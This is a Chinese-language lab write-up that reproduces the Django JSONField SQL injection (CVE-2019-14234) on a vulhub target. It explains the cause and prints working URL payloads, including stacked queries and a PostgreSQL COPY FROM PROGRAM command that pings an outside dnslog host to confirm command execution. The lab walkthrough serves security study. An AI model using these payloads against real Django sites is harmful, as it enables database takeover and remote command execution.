一.漏洞描述
该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。
Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。
二.漏洞复线
1.用靶场vulhub进行复现
在Django注入时,受影响的版本有:
1.11.x before 1.11.23
2.1.x before 2.1.11
2.2.x before 2.2.4
2.Django介绍
Django是一款Python的网络开发框架,具有良好的开发特性,web开发中也经常会用到,通常情况下,我们常见的web开发框架有Java,Python,PHP,Javascript等语言进行编写的,现在很多web网站都是利用java语言开发的,java语言开发的框架有Spring,Spring,MYBatis,struts2 架构等。当然在这些web架构中,也必定存在一些bug。
3.漏洞复现
1)浏览
2)实施注入
根据靶场内的提示,账号密码:admin/a123123123
在登陆之后,是一个后台管理的页面,根据这个提示,可以知道如果在你的Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入。
访问http://ip:8000/admin。
在得到这个页面的时候,通常都是可以添加数据的,可是这个不可以。
3)漏洞产生原因
是什么原因导致这样的漏洞的?
这样,我们可以来看看JSON fILED的实现:
JSONField继承自Field,其实Django中所有字段都继承自Field,其中定义了get_transform函数。
4)构造Payload进行sql注入
url:http://172.20.10.9:8000/admin/vuln/collection/?detail__xxx'yyyy
可以看到,在添加了之后,出现了报错信息,这说明了注入成功,构造的SQL语句是可以执行的;
为了进一步的验证,
payload:http://172.20.10.9:8000/admin/vuln/collection/?detail__title')=%271%27%20or%201=1--
其生成的SQL语句我们是可以看到的,也是被执行了的。
接着,我们继续验证,试着新的命令注入。
Payload:?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20
在此次的结果中,依然显示了没有结果,
最后,我们用DNSLOG进行检查一下,
payload:?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping 37rsq9.dnslog.cn'--%20
可以看到已检查到了流量的变化。
在网上,也有很多在说,在docker没有对端口的映射,无法对其获得权限;有想法的可以去下载一个端口映射的程序,进行进一步的测试。
参考:https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html